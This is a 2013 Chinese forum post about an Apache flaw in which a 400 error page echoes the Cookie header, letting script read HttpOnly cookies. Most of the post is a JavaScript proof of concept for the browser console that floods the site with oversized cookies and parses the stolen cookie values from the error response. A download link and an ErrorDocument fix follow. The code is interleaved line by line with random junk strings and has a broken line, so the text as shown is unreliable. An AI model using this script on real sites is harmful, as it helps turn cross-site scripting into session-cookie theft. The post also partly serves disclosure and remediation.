中国网络渗透测试联盟
标题:
Apache HttpOnly Cookie XSS跨站漏洞
[打印本页]
作者:
admin
时间:
2013-4-19 19:15
标题:
Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
' {( C. V$ S! a8 _
* s# V; _# {: J% Q' D
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
9 m1 w' t: @9 q* |6 B, R
$ M, N' d* J9 k0 f! R
% d5 v5 C4 {' z$ k6 k
//
http://www.exploit-db.com/exploits/18442/
~: B0 j4 t" ]! _+ d* P
function setCookies (good) {
1 {' S @5 @1 B, {5 p! ^' _% M
// Construct string for cookie value
/ h, L1 _+ A2 ?, s" I
var str = "";
& p5 j3 W M+ O/ ^/ `+ u3 O0 ^. S
for (var i=0; i< 819; i++) {
3 U' w! d \" A4 {" `
str += "x";
R2 o( h+ z9 o& f1 U4 U
}
# } l' z& z# w# h+ Y
// Set cookies
2 A( D2 w z! @$ ~
for (i = 0; i < 10; i++) {
! }8 l% z* r! I Q# g/ c# F
// Expire evil cookie
, }! R6 s; e' u% G5 f3 G
if (good) {
$ `$ e% ~ D2 z8 N
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
( B1 H) N$ [' U) n( G# c
}
1 I8 x+ a8 t5 o% B/ V5 C
// Set evil cookie
" @% {* P0 S; |
else {
, m' |* r* B1 w* a) F5 w/ W. ?/ b: t
var cookie = "xss"+i+"="+str+";path=/";
9 O5 r6 E) o. N' T$ R1 J( e3 w, Z% U5 e
}
' ?; q: _2 K4 H
document.cookie = cookie;
7 X/ F" l8 m# E2 g9 W3 r) X5 v
}
$ X; j( W1 \- \% _
}
+ C( `) d2 }1 I, P! p% N8 l5 n
function makeRequest() {
$ F) a a+ M2 [; z( {/ q
setCookies();
" w( N6 r5 g" e
function parseCookies () {
, G) J6 ~, Q3 r' q
var cookie_dict = {};
8 h1 q4 B! x7 T3 `. C( A& u
// Only react on 400 status
4 {- y1 z. f4 A1 M% p% R! x! {- m- F
if (xhr.readyState === 4 && xhr.status === 400) {
% B$ Y5 g% A4 H9 w/ Q% Q
// Replace newlines and match <pre> content
8 @6 a1 K( F+ I$ G: X$ F( B+ j" K7 A
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
0 x( D# H* ]- ]8 b) H/ f
if (content.length) {
& A' `' }( G; m5 N, A) l
// Remove Cookie: prefix
x. P/ ` v4 l. _9 X
content = content[1].replace("Cookie: ", "");
' s( X8 [. m* W8 o8 v2 A
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
4 x, L' l ]/ l5 Z
// Add cookies to object
7 c( k8 b- w' ? ]. [
for (var i=0; i<cookies.length; i++) {
/ q3 a) P% z/ A9 k! O
var s_c = cookies
.split('=',2);
1 u9 j1 H# N6 ~( R" F
cookie_dict[s_c[0]] = s_c[1];
5 g2 m1 M6 r6 [* @! S# Y& m" v5 m' V
}
& |5 t3 R9 I: @5 V% F3 x, C6 F% X
}
4 y( k! J* a- A, }. p( L
// Unset malicious cookies
9 Q$ R% @) `0 H8 r) M8 \& N
setCookies(true);
8 [! Z+ X6 [/ Z" L2 s
alert(JSON.stringify(cookie_dict));
& y- r1 N0 v3 v
}
& q. u( f- A; ^+ m6 u) U8 d
}
9 L- r4 D! T- @. L! \
// Make XHR request
) B9 k5 M( g/ e2 R
var xhr = new XMLHttpRequest();
! F8 E2 c1 }7 K: f2 g# Y
xhr.onreadystatechange = parseCookies;
1 N. P, \6 n# E; h
xhr.open("GET", "/", true);
) F0 R( L V# w( @
xhr.send(null);
: H) z1 a t) X8 j+ F& q! h
}
/ R! ]' K( ]/ j: e
makeRequest();
5 N. w0 e& F0 j2 C* \% {' G
& } D& x! ~$ d& L. b! k
你就能看见华丽丽的400错误包含着cookie信息。
2 u0 K5 @/ O+ S# }+ j
. Z2 A4 D4 ?9 q6 s9 ~
下载地址:
https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
& v7 J: N) i9 F" |; L
0 ^/ c1 x( u" g9 |9 Q
修复方案:
# [# `+ B* G. |, z! j
8 h/ y) [ F0 w% n
Apache官方提供4种错误处理方式(
http://httpd.apache.org/docs/2.0/mod/core.html#errordocument
),如下
$ \& J1 @6 \9 a7 Z1 |& T
' h) F7 I8 T0 A' f5 C' ^8 ~
In the event of a problem or error, Apachecan be configured to do one of four things,
1 a: y" [9 s- x- e1 j6 s, k+ _
1 ] R7 s7 [7 W, k' U; Q
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
- ^( S! P6 O/ Z* G
2. output acustomized message输出一段信息
" P( d" P" p5 J/ D. C5 |1 I. r
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
5 Y% B# q) K' d" B9 `0 [
4. redirect to an external URL to handle theproblem/error转向一个外部URL
- a) L2 n! b$ G3 L V
4 Z- c# Y/ h f5 g& `, ^
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
6 _2 T- X5 f3 i
# o% I0 \" m+ |- z
Apache配置:
: A3 @7 r0 R$ l- X( D+ F9 k
) @ A- j( d3 c' N
ErrorDocument400 " security test"
& O' a& _5 X& {5 i& ` p5 n& {& Z6 s
/ I3 w. q, H3 T0 {& |
当然,升级apache到最新也可:)。
- I# Z. Z& w! J9 o
. R1 [/ C+ v( j# o# ]4 s
参考:
http://httpd.apache.org/security/vulnerabilities_22.html
* o7 j2 J7 M2 K4 W0 Z
+ Q. r6 g% K9 n# m# ]/ E. f9 G5 n. r
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2